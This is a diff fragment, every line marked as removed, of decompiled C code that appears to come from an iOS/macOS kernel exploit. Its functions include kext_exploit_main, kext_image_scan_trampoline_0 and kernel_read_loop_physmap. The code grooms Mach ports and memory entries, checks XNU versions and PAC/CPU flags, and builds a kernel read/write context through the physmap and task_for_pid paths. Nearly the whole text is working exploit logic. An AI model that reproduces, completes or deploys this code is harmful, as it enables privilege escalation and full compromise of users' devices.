-              if ( !--v50 )
-                goto LABEL_83;
-            }
-          }
-LABEL_167:
-          v42 = v39;
-        }
-LABEL_168:
-        v120 = v19;
-        goto LABEL_169;
-      }
-      v39 = vm_deallocate(mach_task_self_, v38, v19);
-      v11 = v112;
-      if ( (uint32_t)v39 )
-        goto LABEL_167;
-      v141 = 0;
-      v39 = mach_port_deallocate(mach_task_self_, name);
-      if ( (uint32_t)v39 )
-        goto LABEL_167;
-      name = 0;
-      v7 = v121;
-      if ( v112 )
-      {
-        v43 = object_handle;
-        v44 = v113;
-        do
-        {
-          v39 = mach_port_deallocate(mach_task_self_, *v43);
-          if ( (uint32_t)v39 )
-            goto LABEL_167;
-          *v43++ = 0;
-        }
-        while ( --v44 );
-      }
-      v20 = (unsigned __int8 *)(a2 + 13884);
-      v18 = v111 + 1;
-      v42 = 5;
-      v17 = v19;
-      v22 = v113;
-      v21 = (unsigned int *)(a2 + 13888);
-      if ( v111 + 1 == v116 )
-        return v42;
-    }
-    v23 = v7;
-    v24 = object_handle;
-    while ( 1 )
-    {
-      size[0] = v19;
-      v25 = mach_make_memory_entry_64(mach_task_self_, size, *(uint64_t *)(a2 + 13864), 1, v24, 0);
-      if ( (uint32_t)v25 )
-      {
-        v42 = v25;
-        goto LABEL_69;
-      }
-      if ( size[0] != v19 )
-        break;
-      ++v24;
-      if ( !--v22 )
-      {
-        v112 = v11;
-        v26 = object_handle[0];
-        v7 = v23;
-        goto LABEL_25;
-      }
-    }
-    v42 = 5;
-LABEL_69:
-    v120 = v17;
-  }
-  else
-  {
-    v19 = 0;
-    v120 = 0;
-    v42 = 5;
-  }
-LABEL_170:
-  v88 = (unsigned __int8 *)(a2 + 13884);
-  v89 = v11;
-  do
-  {
-LABEL_171:
-    atomic_store(1u, v88);
-    if ( v11 )
-    {
-      v90 = (pthread_t *)v145;
-      v91 = v11;
-      do
-      {
-        if ( *v90 )
-        {
-          pthread_join(*v90, 0);
-          *v90 = 0;
-        }
-        ++v90;
-        --v91;
-      }
-      while ( v91 );
-    }
-    v92 = 0;
-    v93 = 1;
-    do
-    {
-      v94 = v143[v92];
-      if ( v94 )
-      {
-        v42 = vm_deallocate(mach_task_self_, v94, v19);
-        if ( (uint32_t)v42 )
-          break;
-        v143[v92] = 0;
-      }
-      v93 = v92++ < 0xF;
-    }
-    while ( v92 != 16 );
-  }
-  while ( v93 );
-  for ( m = 0; m != 512; m += 8 )
-  {
-    v96 = *(uint64_t *)&v144[m];
-    if ( v96 )
-    {
-      v42 = vm_deallocate(mach_task_self_, v96, vm_page_size);
-      if ( (uint32_t)v42 )
-        goto LABEL_171;
-      *(uint64_t *)&v144[m] = 0;
-    }
-  }
-  if ( v141 )
-    v97 = v120 == 0;
-  else
-    v97 = 1;
-  if ( !v97 )
-    vm_deallocate(mach_task_self_, v141, v120);
-  if ( address && v19 )
-    vm_deallocate(mach_task_self_, address, v19);
-  if ( name + 1 >= 2 )
-    mach_port_deallocate(mach_task_self_, name);
-  if ( v11 )
-  {
-    v98 = object_handle;
-    do
-    {
-      if ( *v98 + 1 >= 2 )
-        mach_port_deallocate(mach_task_self_, *v98);
-      ++v98;
-      --v89;
-    }
-    while ( v89 );
-  }
-  TRACE_PHYSMAP("kernel_read_loop_physmap exit err=%lld state=%llx v141=%llx address=%llx name=%x workers=%u\n",
-                (long long)v42,
-                (unsigned long long)a2,
-                (unsigned long long)v141,
-                (unsigned long long)address,
-                name,
-                v11);
-  return v42;
-}
-// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
-
-//----- (000000000000CB98) ----------------------------------------------------
-// local variable allocation has failed, the output may be wrong!
-__int64 __fastcall kext_exploit_main(uint64_t x0, uint32_t w1, uint64_t x2)
-{
-  __int64 v3; // x0
-  uint32_t *v4; // x2
-  uint32_t *v5; // x20
-  int v6; // w1
-  int v7; // w21
-  uint64_t v8; // x19
-  int v9; // w0
-  int v10; // w8
-  __int64 v11; // x19
-  int v12; // w0
-  void *(__cdecl *threadEntry)(void *); // x0
-  int v14; // w8
-  mach_port_t v15; // w20
-  __int64 i; // x22
-  mach_port_name_t v17; // w1
-  __int64 j; // x21
-  mach_port_name_t v19; // w1
-  uint32_t *v20; // x0
-  unsigned int v21; // w8
-  unsigned __int64 v22; // x21
-  mach_port_name_t v23; // w1
-  struct
-  {
-    uint32_t v25[2824]; // [xsp+8h] [xbp-66E8h] BYREF
-    vm_address_t address; // [xsp+2C28h] [xbp-3AC8h]
-    vm_size_t size; // [xsp+2C30h] [xbp-3AC0h]
-    vm_address_t v28; // [xsp+2C38h] [xbp-3AB8h]
-    vm_size_t v29; // [xsp+2C40h] [xbp-3AB0h]
-    uint8_t v30[2096]; // [xsp+2C48h] [xbp-3AA8h]
-    mach_port_name_t name; // [xsp+3478h] [xbp-3278h]
-    void *v32; // [xsp+3480h] [xbp-3270h]
-    unsigned int v33; // [xsp+3488h] [xbp-3268h]
-    vm_address_t v34; // [xsp+3490h] [xbp-3260h]
-    vm_size_t v35; // [xsp+3498h] [xbp-3258h]
-    vm_address_t v36; // [xsp+34A0h] [xbp-3250h]
-    vm_size_t v37; // [xsp+34A8h] [xbp-3248h]
-    uint8_t v38[72]; // [xsp+34B0h] [xbp-3240h]
-    mach_port_name_t v39; // [xsp+34F8h] [xbp-31F8h]
-    uint8_t padding[0x315C];
-  } locals;
-  uint64_t args[3]; // [xsp+6658h] [xbp-98h] BYREF
-  pthread_t thread; // [xsp+6670h] [xbp-80h] BYREF
-  pthread_attr_t attr; // [xsp+6678h] [xbp-78h] BYREF
-#define v25 locals.v25
-#define address locals.address
-#define size locals.size
-#define v28 locals.v28
-#define v29 locals.v29
-#define v30 locals.v30
-#define name locals.name
-#define v32 locals.v32
-#define v33 locals.v33
-#define v34 locals.v34
-#define v35 locals.v35
-#define v36 locals.v36
-#define v37 locals.v37
-#define v38 locals.v38
-#define v39 locals.v39
-
-  v5 = (uint32_t *)x2;
-  v7 = w1;
-  v8 = x0;
-  _Static_assert(sizeof(locals) == 0x6650, "kext_exploit_main local frame size mismatch");
-  bzero(&locals, sizeof(locals));
-  v25[0] = v7;
-  v9 = pthread_attr_init(&attr);
-  if ( v9 )
-  {
-    if ( v9 >= 0 )
-      v10 = v9;
-    else
-      v10 = -v9;
-    v11 = v10 | 0x40000000u;
-  }
-  else
-  {
-    v12 = pthread_attr_setdetachstate(&attr, 1);
-    if ( v12
-      || (args[2] = v8,
-          thread = 0,
-          args[0] = 0x1001,
-          args[1] = (uint64_t)v25,
-          threadEntry = (void *(__cdecl *)(void *))nullsub_1(kext_image_scan_init),
-          (v12 = pthread_create(&thread, &attr, threadEntry, args)) != 0)
-      || (v12 = pthread_join(thread, 0)) != 0 )
-    {
-      if ( v12 >= 0 )
-        v14 = v12;
-      else
-        v14 = -v12;
-      v11 = v14 | 0x40000000u;
-      pthread_attr_destroy(&attr);
-    }
-    else
-    {
-      v11 = LODWORD(args[0]);
-      pthread_attr_destroy(&attr);
-      if ( !(uint32_t)v11 )
-        *v5 = 0;
-    }
-  }
-  v15 = mach_task_self_;
-  if ( address && size )
-  {
-    vm_deallocate(mach_task_self_, address, size);
-    address = 0;
-    size = 0;
-  }
-  if ( v28 && v29 )
-  {
-    vm_deallocate(mach_task_self_, v28, v29);
-    v28 = 0;
-    v29 = 0;
-  }
-  for ( i = 0; i != 1024; i += 4 )
-  {
-    v17 = *(uint32_t *)&v30[i];
-    if ( v17 + 1 >= 2 )
-      mach_port_mod_refs(mach_task_self_, v17, 1u, -1);
-    *(uint32_t *)&v30[i] = 0;
-  }
-  for ( j = 0; j != 64; j += 4 )
-  {
-    v19 = *(uint32_t *)&v38[j];
-    if ( v19 + 1 >= 2 )
-    {
-      mach_port_mod_refs(v15, v19, 1u, -1);
-      *(uint32_t *)&v38[j] = 0;
-    }
-  }
-  if ( v36 && v37 )
-  {
-    vm_deallocate(v15, v36, v37);
-    v36 = 0;
-    v37 = 0;
-  }
-  if ( v34 && v35 )
-  {
-    vm_deallocate(v15, v34, v35);
-    v34 = 0;
-    v35 = 0;
-  }
-  if ( name + 1 >= 2 )
-  {
-    mach_port_deallocate(v15, name);
-    name = 0;
-  }
-  if ( v39 + 1 >= 2 )
-  {
-    mach_port_deallocate(v15, v39);
-    v39 = 0;
-  }
-  v20 = v32;
-  if ( v32 )
-  {
-    v21 = v33;
-    if ( v33 )
-    {
-      v22 = 0;
-      do
-      {
-        v23 = v20[v22];
-        if ( v23 + 1 >= 2 )
-        {
-          mach_port_deallocate(v15, v23);
-          v20 = v32;
-          *((uint32_t *)v32 + v22) = 0;
-          v21 = v33;
-        }
-        ++v22;
-      }
-      while ( v22 < v21 );
-    }
-    free(v20);
-  }
-#undef v25
-#undef address
-#undef size
-#undef v28
-#undef v29
-#undef v30
-#undef name
-#undef v32
-#undef v33
-#undef v34
-#undef v35
-#undef v36
-#undef v37
-#undef v38
-#undef v39
-  return v11;
-}
-// CB98: variables would overlap: w1.4 and x1.8
-// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
-// 48940: using guessed type __int64 __fastcall __chkstk_darwin(uint64_t, uint64_t);
-
-//----- (000000000000CE78) ----------------------------------------------------
-__int64 __fastcall kext_exploit_main_trampoline(uint64_t x0, uint64_t x1_idk, uint32_t w2, uint64_t x3)
-{
-  return kext_exploit_main(x0, 3u, x3);
-}
-
-//----- (000000000000CE84) ----------------------------------------------------
-__int64 __fastcall kext_image_scan_init(uint64_t *a1)
-{
-  *(uint32_t *)a1 = kext_image_scan_trampoline_0(a1[2], a1[1]);
-  return 0;
-}
-
-//----- (000000000000CEB8) ----------------------------------------------------
-__int64 __fastcall kext_image_scan_trampoline_0(struct_krwCtx *x0, uint64_t x1)
-{
-  __int64 v2; // x0
-  __int64 v3; // x1
-  __int64 v4; // x20
-  __int64 v5; // x19
-  __int64 v6; // x27
-  unsigned __int64 v7; // x0
-  kern_return_t memory_entry; // w0
-  vm_size_t v9; // x21
-  __int64 v10; // x22
-  __int64 i; // x21
-  mach_port_name_t v13; // w0
-  void *v14; // x0
-  size_t v15; // x21
-  void *v16; // x0
-  int v17; // w8
-  unsigned __int64 v18; // x21
-  int v19; // w2
-  __int64 j; // x21
-  mach_msg_bits_t msgh_bits; // w1
-  unsigned __int64 v22; // x8
-  __int64 v23; // x0
-  __int64 v24; // x23
-  pid_t v25; // w0
-  __int64 addr_v24; // x24
-  __int64 v27; // x8
-  __int64 v28; // x8
-  __int64 v29; // x9
-  __int64 v30; // x21
-  int v31; // w0
-  __int64 v32; // x0
-  void *v33; // x24
-  __int64 v34; // x8
-  uint64_t *v35; // x21
-  __int64 v36; // x8
-  unsigned int v37; // w9
-  uint32_t *v38; // x10
-  __int64 v39; // x11
-  mach_port_t v40; // w9
-  vm_prot_t v41; // w3
-  unsigned int v42; // w8
-  __int64 v43; // x24
-  int8x8_t *v44; // x13
-  int8x8_t *v45; // x14
-  int8x8_t v46; // x9
-  __int64 v47; // x15
-  uint64_t *v48; // x25
-  __int64 v49; // x8
-  unsigned int v50; // w23
-  uintptr_t v51; // x22
-  char *v52; // x21
-  unsigned int v53; // w8
-  bool v54; // zf
-  __int64 v55; // x22
-  uint8x8_t v56; // d0
-  __int64 v57; // x23
-  kern_return_t v58; // w0
-  int v59; // w22
-  __int64 k; // x21
-  vm_address_t v61; // x1
-  unsigned __int64 v62; // x24
-  int8x8_t *v63; // x21
-  int8x8_t *v64; // x21
-  int8x8_t v65; // t1
-  int8x8_t *v66; // x9
-  unsigned int v67; // w8
-  uint8x8_t v68; // d0
-  int v69; // w8
-  int v70; // w0
-  __int64 v71; // x0
-  unsigned int v72; // w25
-  char v73; // w22
-  __int64 v74; // x8
-  __int64 v75; // x8
-  unsigned int v76; // w8
-  mach_port_t v77; // w8
-  mach_msg_return_t v78; // w0
-  __int64 v79; // x9
-  __int64 v80; // x11
-  vm_size_t v81; // x12
-  vm_size_t v82; // x13
-  int8x8_t v83; // x10
-  __int64 v84; // x14
-  uint64_t *v85; // x15
-  unsigned int v86; // w16
-  unsigned int m; // w17
-  __int64 *v88; // x0
-  __int64 v89; // x1
-  vm_size_t v90; // x2
-  char *v91; // x3
-  uint8x8_t v92; // d0
-  unsigned int v93; // w0
-  __int64 v94; // x0
-  __int64 v95; // x8
-  mach_port_name_t v96; // w4
-  mach_msg_return_t v97; // w0
-  unsigned int v98; // w25
-  vm_address_t v99; // x22
-  vm_size_t msgh_voucher_port; // x21
-  vm_address_t v101; // x8
-  char v102; // w8
-  unsigned int v103; // w8
-  unsigned __int64 v104; // x21
-  __int64 v105; // x9
-  mach_port_name_t v106; // w1
-  __int64 v107; // x21
-  mach_port_name_t v108; // w1
-  __int64 v109; // x0
-  mach_port_t v110; // w0
-  unsigned __int64 ipc_port; // x0
-  __int64 v112; // x8
-  __int64 v113; // x25
-  __int64 v114; // x21
-  __int64 v115; // x0
-  __int64 v116; // x1
-  __int64 v117; // x8
-  int v118; // w0
-  unsigned __int64 v120; // x8
-  uint64_t *v121; // x8
-  unsigned __int64 v122; // x1
-  unsigned int v123; // w8
-  __int64 v124; // x21
-  __int64 v125; // x24
-  mach_port_name_t v126; // w22
-  unsigned __int64 v127; // x0
-  __int64 v128; // x0
-  unsigned __int64 v129; // x23
-  __int64 v130; // x23
-  __int64 v131; // x24
-  __int64 v132; // x8
-  unsigned int v133; // w1
-  __int64 v134; // x0
-  unsigned __int64 v135; // x22
-  unsigned __int64 v136; // x0
-  __int64 v137; // x0
-  unsigned __int64 v138; // x22
-  kern_return_t v139; // w0
-  __int64 ii; // x21
-  vm_address_t v141; // x1
-  __int64 jj; // x21
-  vm_address_t v143; // x1
-  __int64 v144; // x8
-  char v145; // w9
-  char v146; // w21
-  __int64 v147; // x25
-  vm_address_t v148; // x1
-  kern_return_t v149; // w0
-  int has_flag; // w22
-  __int64 v151; // x8
-  char *v152; // x1
-  __int64 v153; // x22
-  unsigned __int64 v154; // x0
-  unsigned __int64 v155; // x0
-  unsigned __int64 v156; // x21
-  __int64 v157; // x25
-  __int64 v158; // x8
-  int v159; // w22
-  __int64 v160; // x8
-  unsigned __int64 v161; // x0
-  __int64 v162; // x25
-  __int64 v163; // x8
-  __int64 v164; // x9
-  int v165; // w0
-  unsigned __int64 v166; // x0
-  __int64 v167; // x8
-  unsigned __int64 v168; // x0
-  __int64 v169; // x8
-  __int64 v170; // x8
-  unsigned __int64 v171; // x9
-  unsigned __int64 v172; // x8
-  __int64 v173; // x0
-  vm_size_t v174; // x23
-  unsigned __int64 v175; // x0
-  __int64 v176; // x24
-  unsigned __int64 v177; // x0
-  unsigned __int64 v178; // x21
-  unsigned __int64 v179; // x0
-  unsigned __int64 v180; // x25
-  __int64 v181; // x25
-  vm_address_t v182; // x1
-  __int64 v183; // x8
-  __int64 v184; // x8
-  __int64 v185; // x8
-  io_service_t v186; // w0
-  io_service_t v187; // w24
-  mach_port_t v188; // w21
-  __int64 n; // x25
-  io_connect_t v190; // w0
-  int v192; // w8
-  const void **v193; // x0
-  const void *v194; // x22
-  const void **v195; // x0
-  const void *v196; // x23
-  const void **v197; // x0
-  const void *v198; // x24
-  const struct __CFData *v199; // x0
-  const struct __CFData *v200; // x24
-  int v201; // w8
-  uint32_t v202; // w25
-  mem_entry_name_port_t *v203; // x23
-  const UInt8 *BytePtr; // x22
-  size_t Length; // x0
-  mach_msg_bits_t v206; // w9
-  __int64 v207; // x10
-  unsigned __int64 v208; // x23
-  int v209; // w0
-  __int64 v210; // x24
-  int v211; // w0
-  unsigned __int64 v212; // x25
-  vm_address_t v213; // x24
-  vm_address_t v214; // x8
-  __int64 v215; // x21
-  unsigned __int64 v216; // x0
-  unsigned int v217; // w8
-  unsigned __int64 v218; // x21
-  __int64 v219; // x23
-  mach_port_name_t v220; // w1
-  unsigned int v221; // w8
-  unsigned __int64 v222; // x21
-  __int64 v223; // x23
-  vm_address_t v224; // x1
-  unsigned __int64 v225; // x8
-  bool v226; // cc
-  int pipe; // w20
-  unsigned int v228; // w0
-  unsigned int v229; // w24
-  unsigned int v230; // w0
-  int v231; // w22
-  int v232; // w23
-  int v233; // w0
-  int v234; // w0
-  unsigned int v235; // w0
-  unsigned __int64 v236; // x0
-  __int64 v237; // x22
-  int v238; // w1
-  integer_t v239; // w10
-  mem_entry_name_port_t v240; // w9
-  mem_entry_name_port_t v241; // w8
-  int v242; // w20
-  int v243; // w8
-  int v244; // w20
-  int v245; // w8
-  size_t v246; // x21
-  mach_msg_bits_t v247; // w1
-  mach_msg_size_t msgh_size; // w9
-  __int64 v249; // x8
-  __int64 v250; // x8
-  unsigned __int64 v251; // x20
-  unsigned __int64 v252; // x24
-  unsigned __int64 v253; // x26
-  int v254; // w25
-  int v255; // w0
-  vm_address_t v256; // x8
-  bool v257; // cf
-  int v258; // w8
-  mach_port_t *v259; // [xsp+30h] [xbp-1120h]
-  unsigned int *v260; // [xsp+40h] [xbp-1110h]
-  __int64 v261; // [xsp+48h] [xbp-1108h]
-  __int64 v262; // [xsp+50h] [xbp-1100h]
-  unsigned __int64 v263; // [xsp+50h] [xbp-1100h]
-  __int64 v264; // [xsp+58h] [xbp-10F8h]
-  __int64 v265; // [xsp+58h] [xbp-10F8h]
-  __int64 v266; // [xsp+60h] [xbp-10F0h]
-  __int64 v267; // [xsp+60h] [xbp-10F0h]
-  __int64 v268; // [xsp+68h] [xbp-10E8h]
-  __int64 v269; // [xsp+68h] [xbp-10E8h]
-  unsigned __int64 v270; // [xsp+68h] [xbp-10E8h]
-  mach_port_name_t v271[2]; // [xsp+70h] [xbp-10E0h]
-  mach_port_name_t v272; // [xsp+70h] [xbp-10E0h]
-  __int64 v273; // [xsp+70h] [xbp-10E0h]
-  void *value; // [xsp+78h] [xbp-10D8h]
-  unsigned __int64 valuea; // [xsp+78h] [xbp-10D8h]
-  int v276; // [xsp+80h] [xbp-10D0h]
-  unsigned __int64 v277; // [xsp+80h] [xbp-10D0h]
-  int v278; // [xsp+80h] [xbp-10D0h]
-  int v279; // [xsp+80h] [xbp-10D0h]
-  vm_size_t v280; // [xsp+88h] [xbp-10C8h]
-  unsigned int *v281; // [xsp+90h] [xbp-10C0h]
-  __int64 v282; // [xsp+90h] [xbp-10C0h]
-  __int64 v283; // [xsp+90h] [xbp-10C0h]
-  unsigned __int64 v284; // [xsp+90h] [xbp-10C0h]
-  __int64 v285; // [xsp+90h] [xbp-10C0h]
-  uintptr_t theDict; // [xsp+98h] [xbp-10B8h]
-  CFMutableDictionaryRef theDicta; // [xsp+98h] [xbp-10B8h]
-  CFMutableDictionaryRef theDictb; // [xsp+98h] [xbp-10B8h]
-  CFMutableDictionaryRef theDictc; // [xsp+98h] [xbp-10B8h]
-  CFMutableDictionaryRef theDictd; // [xsp+98h] [xbp-10B8h]
-  CFMutableDictionaryRef theDicte; // [xsp+98h] [xbp-10B8h]
-  unsigned __int64 kobject; // [xsp+A0h] [xbp-10B0h]
-  unsigned __int64 v293; // [xsp+A0h] [xbp-10B0h]
-  int8x8_t *v294; // [xsp+A8h] [xbp-10A8h]
-  vm_size_t v295; // [xsp+A8h] [xbp-10A8h]
-  vm_size_t v296; // [xsp+A8h] [xbp-10A8h]
-  vm_size_t v297; // [xsp+A8h] [xbp-10A8h]
-  int8x8_t *__handle; // [xsp+B0h] [xbp-10A0h]
-  uint32_t *__handlea; // [xsp+B0h] [xbp-10A0h]
-  char *__handleb; // [xsp+B0h] [xbp-10A0h]
-  unsigned __int64 __handlec; // [xsp+B0h] [xbp-10A0h]
-  void *__handled; // [xsp+B0h] [xbp-10A0h]
-  unsigned __int64 __handlee; // [xsp+B0h] [xbp-10A0h]
-  struct_krwCtx *krwCtx;
-  char *v304; // [xsp+B8h] [xbp-1098h]
-  unsigned int v305; // [xsp+B8h] [xbp-1098h]
-  vm_size_t size; // [xsp+C0h] [xbp-1090h] BYREF
-  mem_entry_name_port_t object_handle; // [xsp+CCh] [xbp-1084h] BYREF
-  integer_t port_info; // [xsp+D0h] [xbp-1080h] BYREF
-  vm_address_t address; // [xsp+D8h] [xbp-1078h] BYREF
-  mach_msg_header_t name; // [xsp+E0h] [xbp-1070h] BYREF
-  unsigned __int64 v311; // [xsp+100h] [xbp-1050h]
-  vm_address_t v312; // [xsp+110h] [xbp-1040h] BYREF
-  unsigned __int64 v313; // [xsp+118h] [xbp-1038h] BYREF
-  int v314; // [xsp+124h] [xbp-102Ch] BYREF
-  __int64 v315; // [xsp+128h] [xbp-1028h] BYREF
-  __int64 v316; // [xsp+130h] [xbp-1020h] BYREF
-  __int64 v317; // [xsp+138h] [xbp-1018h] BYREF
-  size_t outputStructCnt; // [xsp+140h] [xbp-1010h] BYREF
-  mem_entry_name_port_t v319[2]; // [xsp+148h] [xbp-1008h] BYREF
-  integer_t a1[4]; // [xsp+150h] [xbp-1000h] BYREF
-  __int128 v321; // [xsp+160h] [xbp-FF0h]
-  struct
-  {
-    mach_msg_header_t outputStruct[2]; // [xsp+170h] [xbp-FE0h] BYREF
-    __int128 v323; // [xsp+1A0h] [xbp-FB0h]
-    __int128 v324; // [xsp+1B0h] [xbp-FA0h]
-    __int128 v325; // [xsp+1C0h] [xbp-F90h]
-    __int128 v326; // [xsp+1D0h] [xbp-F80h]
-    __int128 v327; // [xsp+1E0h] [xbp-F70h]
-    __int128 v328; // [xsp+1F0h] [xbp-F60h]
-    __int128 v329; // [xsp+200h] [xbp-F50h]
-    __int128 v330; // [xsp+210h] [xbp-F40h]
-    __int128 v331; // [xsp+220h] [xbp-F30h]
-    __int128 v332; // [xsp+230h] [xbp-F20h]
-    __int128 v333; // [xsp+240h] [xbp-F10h]
-    __int128 v334; // [xsp+250h] [xbp-F00h]
-    __int128 v335; // [xsp+260h] [xbp-EF0h]
-    uint8_t padding[0xE60];
-  } outputScratch;
-#define outputStruct outputScratch.outputStruct
-#define v323 outputScratch.v323
-#define v324 outputScratch.v324
-#define v325 outputScratch.v325
-#define v326 outputScratch.v326
-#define v327 outputScratch.v327
-#define v328 outputScratch.v328
-#define v329 outputScratch.v329
-#define v330 outputScratch.v330
-#define v331 outputScratch.v331
-#define v332 outputScratch.v332
-#define v333 outputScratch.v333
-#define v334 outputScratch.v334
-#define v335 outputScratch.v335
-
-  v4 = x1;
-  v5 = x0;
-  krwCtx = KRWCTX_FROM_UINTPTR(v5);
-  v6 = 708625;
-  _Static_assert(sizeof(outputScratch) == 0xF60, "kext_image_scan_trampoline_0 output scratch size mismatch");
-  address = 0;
-  object_handle = 0;
-  size = vm_page_size;
-  v7 = comm_page_memory_size();
-  *(uint64_t *)(v4 + 8) = v7;
-  *(uint64_t *)(v4 + 0x34E8) = 0x10000000800LL;
-  if ( v7 > 0x400000000LL )
-    return 708616;
-  memory_entry = vm_allocate(mach_task_self_, &address, 0x2000u, 1);
-  if ( memory_entry )
-    return memory_entry | 0x80000000;
-  *(uint64_t *)(v4 + 13464) = address;
-  *(uint64_t *)(v4 + 13472) = 0x2000;
-  *(uint64_t *)&outputStruct[0].msgh_bits = 0;
-  v9 = vm_page_size;
-  memory_entry = vm_map(
-                   mach_task_self_,
-                   (vm_address_t *)&outputStruct[0].msgh_bits,
-                   129 * vm_page_size,
-                   0x1FFFFFFu,
-                   -922746879,
-                   0,
-                   0,
-                   0,
-                   3,
-                   3,
-                   1u);
-  if ( memory_entry )
-    return memory_entry | 0x80000000;
-  *(uint64_t *)(v4 + 13448) = *(uint64_t *)&outputStruct[0].msgh_bits;
-  *(uint64_t *)(v4 + 13456) = vm_page_size + (v9 << 7);
-  for ( i = 3370; i != 3386; ++i )
-  {
-    v13 = mach_reply_port();
-    if ( v13 + 1 < 2 )
-      return 4097;
-    *(uint32_t *)(v4 + 4 * i) = v13;
-    port_info = 1024;
-    memory_entry = mach_port_set_attributes(mach_task_self_, v13, 1, &port_info, 1u);
-    if ( memory_entry )
-      return memory_entry | 0x80000000;
-  }
-  memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0, 131075, &object_handle, 0);
-  if ( memory_entry )
-    return memory_entry | 0x80000000;
-  *(uint32_t *)(v4 + 13424) = object_handle;
-  v14 = calloc(0x200000u, 4u);
-  if ( !v14 )
-    return 708617;
-  *(uint64_t *)(v4 + 13432) = v14;
-  *(uint32_t *)(v4 + 13440) = 0x200000;
-  *(uint64_t *)&outputStruct[0].msgh_bits = 0;
-  v15 = vm_page_size << 9;
-  memory_entry = vm_allocate(mach_task_self_, (vm_address_t *)&outputStruct[0].msgh_bits, vm_page_size << 9, -872415231);
-  if ( memory_entry )
-    return memory_entry | 0x80000000;
-  v16 = *(void **)&outputStruct[0].msgh_bits;
-  *(uint64_t *)(v4 + 11296) = *(uint64_t *)&outputStruct[0].msgh_bits;
-  *(uint64_t *)(v4 + 11304) = v15;
-  if ( madvise(v16, v15, 3) )
-  {
-LABEL_15:
-    v17 = errno;
-    if ( v17 < 0 )
-      v17 = -v17;
-    return v17 | 0x40000000u;
-  }
-  v18 = -2;
-  do
-  {
-    v18 += 2LL;
-    if ( (v18 & 2) != 0 )
-      v19 = 1;
-    else
-      v19 = 2;
-    if ( madvise((void *)(*(uint64_t *)&outputStruct[0].msgh_bits + vm_page_size * v18), 2 * vm_page_size, v19) )
-      goto LABEL_15;
-  }
-  while ( v18 < 0x1FE );
-  for ( j = 2832; j != 3088; ++j )
-  {
-    name.msgh_bits = 0;
-    memory_entry = mach_port_allocate(mach_task_self_, 1u, &name.msgh_bits);
-    if ( memory_entry )
-      return memory_entry | 0x80000000;
-    msgh_bits = name.msgh_bits;
-    *(uint32_t *)(v4 + 4 * j) = name.msgh_bits;
-    a1[0] = 1024;
-    memory_entry = mach_port_set_attributes(mach_task_self_, msgh_bits, 1, a1, 1u);
-    if ( memory_entry )
-      return memory_entry | 0x80000000;
-  }
-  v260 = (unsigned int *)(v4 + 17988);
-  v22 = *(uint64_t *)(v5 + 344);
-  if ( v22 > XNU_VERSION_PACKED(10002, 60, 75, 0, 2) )
-  {
-    if ( (*(uint8_t *)v5 & 0x20) != 0 )
-    {
-      v10 = setup_kernel_region_via_flags(krwCtx);
-      if ( (uint32_t)v10 )
-        return v10;
-      v23 = get_iogpu_physmap_base(v5);
-      if ( v23 )
-      {
-        v24 = v23;
-        v25 = getpid();
-        addr_v24 = krw_task_for_pid_0(krwCtx, v24, v25);
-        *(uint64_t *)(v4 + 11280) = addr_v24;
-        goto LABEL_207;
-      }
-      return 163878;
-    }
-    goto LABEL_36;
-  }
-  if ( v22 > XNU_VERSION_PACKED(10002, 2, 12, 1023, 1023) || (v22 >= XNU_VERSION_PACKED(8796, 142, 1, 700, 14) && *(int *)(v5 + 320) < 10002) )
-  {
-LABEL_36:
-    theDict = 68;
-    v262 = 184;
-    v27 = 88;
-    goto LABEL_40;
-  }
-  theDict = 60;
-  v262 = 176;
-  v27 = 80;
-LABEL_40:
-  *(uint64_t *)v271 = v27;
-  arc4random_buf((void *)(v4 + 13584), 8u);
-  arc4random_buf((void *)(v4 + 13592), 8u);
-  v28 = *(uint64_t *)(v4 + 13448);
-  v10 = 708609;
-  if ( !v28 )
-    return v10;
-  v29 = *(uint64_t *)(v4 + 13456);
-  if ( !v29 )
-    return 708609;
-  madvise((void *)(v29 + v28 - vm_page_size), vm_page_size, 3);
-  if ( krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) && !krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
-  {
-    v57 = 0;
-    v334 = 0u;
-    v335 = 0u;
-    v332 = 0u;
-    v333 = 0u;
-    v330 = 0u;
-    v331 = 0u;
-    v328 = 0u;
-    v329 = 0u;
-    v326 = 0u;
-    v327 = 0u;
-    v324 = 0u;
-    v325 = 0u;
-    v323 = 0u;
-    memset(outputStruct, 0, sizeof(outputStruct));
-    while ( 1 )
-    {
-      v58 = vm_map(
-              mach_task_self_,
-              (vm_address_t *)((char *)&outputStruct[0].msgh_bits + v57),
-              0x2000000u,
-              0x1FFFFFFu,
-              -939524087,
-              0,
-              0,
-              0,
-              3,
-              3,
-              1u);
-      if ( v58 != 3 )
-      {
-        v59 = v58;
-        if ( v58 )
-          goto LABEL_110;
-        if ( madvise(*(void **)((char *)&outputStruct[0].msgh_bits + v57), vm_page_size, 3) )
-          break;
-      }
-      v57 += 8;
-      if ( v57 == 256 )
-      {
-        v59 = 0;
-        goto LABEL_110;
-      }
-    }
-    v59 = 5;
-LABEL_110:
-    for ( k = 0; k != 256; k += 8 )
-    {
-      v61 = *(uint64_t *)((char *)&outputStruct[0].msgh_bits + k);
-      if ( v61 )
-      {
-        vm_deallocate(mach_task_self_, v61, 0x2000000u);
-        *(uint64_t *)((char *)&outputStruct[0].msgh_bits + k) = 0;
-      }
-    }
-    if ( v59 )
-      return v59 | 0x80000000;
-  }
-  v30 = 0;
-  v268 = 0;
-  v304 = 0;
-  v24 = 688;
-  while ( 1 )
-  {
-    get_page_size();
-    if ( *(uint32_t *)v4 != 3 )
-    {
-      v31 = 4;
-LABEL_50:
-      v10 = v31 | 0x80000000;
-      goto LABEL_51;
-    }
-    v31 = kernel_read_loop_physmap(v5, v4, 0x10u, v4 + 688 * v30 + 16);
-    if ( v31 )
-      goto LABEL_50;
-    get_page_size();
-    v294 = (int8x8_t *)(v4 + 688 * v30 + 16);
-    v32 = physmap_read_rebuild_page((uint64_t *)v4, v294);
-    if ( !(uint32_t)v32 )
-      break;
-    v10 = v32;
-LABEL_51:
-    if ( ++v30 == 16 )
-      goto LABEL_205;
-  }
-  v261 = v30;
-  get_page_size();
-  if ( !*(uint32_t *)(v4 + 13440) )
-  {
-    get_page_size();
-LABEL_100:
-    v10 = 708620;
-    goto LABEL_101;
-  }
-  v33 = 0;
